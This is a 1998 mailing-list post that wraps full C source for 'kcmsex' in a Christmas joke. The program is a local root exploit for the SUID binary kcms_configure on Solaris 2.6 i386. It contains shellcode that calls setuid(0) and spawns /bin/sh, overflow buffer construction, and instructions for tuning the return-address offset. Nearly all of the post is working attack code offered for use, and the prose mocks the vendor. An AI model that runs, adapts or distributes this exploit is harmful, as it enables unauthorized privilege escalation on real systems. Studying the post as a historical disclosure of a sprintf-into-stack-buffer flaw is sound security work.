Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Updated)

[nobody () REPLAY COM (Anonymous)]

On Fri, 18 Dec 1998, Dr. Mudge wrote:

> Now let's see... where did we stash those exploits that we were going to
> give out as stocking stuffers... hrmmm.

While our good friend Mudge rummages about in his bag of Christmas
goodies searching for a tasty snippet, I thought I would offer a small
gift myself, lest I be considered the Grinch who stole Christmas.  If
anyone's ever deserved coal in their stockings, it's the readers of this
list!  But I digress.  Your gift this year?  Straight from my kitchen to
your keyboard -- and much better than any fruitcake -- it's ... root on
everyone's favorite OS!  What else?  Solaris!

It seems Sun's engineers indulged in a little too much "holiday cheer" in
years past, and plumb forgot their good coding practices for privileged
programs.  Yes readers, sprintf() and stack buffers in SUID root programs
are a deadly cocktail.  This holiday season use a designated coder, and
remember, sprintf() and SUID root don't mix.  So go ahead, snuggle up near
a cozy fireplace, smash that UID of yours to 0, and be sure to send Sun a
Christmas card next year.  Now wouldn't you much rather have this than
a new pair of socks from your aunt?  I knew you did.

                                Yours truly, ol' Saint Nick himself,

                                Cheez Whiz
                                cheezbeast () hotmail com

kcmsex.c  (a SPARC exploit is left as an exercise to the reader)

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/**
***  kcmsex - i386 Solaris root exploit for /usr/openwin/bin/kcms_configure
***
***  Tested and confirmed under Solaris 2.6 i386
***
***  Usage:  % kcmsex [offset]
***
***  where offset (if present) is the number of bytes to add to the stack
***  pointer to calculate your target return address; try -1000 to 1000 in
***  increments of 100 for starters.  Thanks go to Sun for cranking out
***  such sloppy privileged code.  Keep those holes a coming, boys!
***
***  Cheez Whiz
***  cheezbeast () hotmail com
***
***  December 17, 1998
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 500
#define NOP 0x90

char shell[] =
/*  0 */ "\xeb\x3b"                         /* jmp springboard       */
/* syscall:                                                          */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                             /* ret                   */
/* start:                                                            */
/* 10 */ "\x5e"                             /* popl %esi             */
/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
/* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
/* setuid:                                                           */
/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 27 */ "\x50"                             /* pushl %eax            */
/* 28 */ "\xb0\x17"                         /* movb $0x17,%al        */
/* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
/* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
/* execve:                                                           */
/* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 40 */ "\x50"                             /* pushl %eax            */
/* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
/* 44 */ "\x53"                             /* pushl %ebx            */
/* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
/* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
/* 50 */ "\x53"                             /* pushl %ebx            */
/* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
/* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall          */
/* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                      */
/* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start            */
/* data:                                                             */
/* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
/* 74 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 78 */ "\xff\xff\xff\xff";                /* DATA                  */

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int
get_esp()
{
    __asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
    int i;

    if (argc > 1)
        offset = strtol(argv[1], NULL, 0);

    if (argc > 2)
        nop = strtoul(argv[2], NULL, 0);
    else
        nop = 285;

    esp = get_esp();

    memset(buf, NOP, BUFLEN);
    memcpy(buf+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;

    printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
           esp+offset, esp, offset, nop);
    execl("/usr/openwin/bin/kcms_configure", "kcms_configure", "-P", buf,
          "foofoo", NULL);

    printf("exec failed!\n");
    return;
}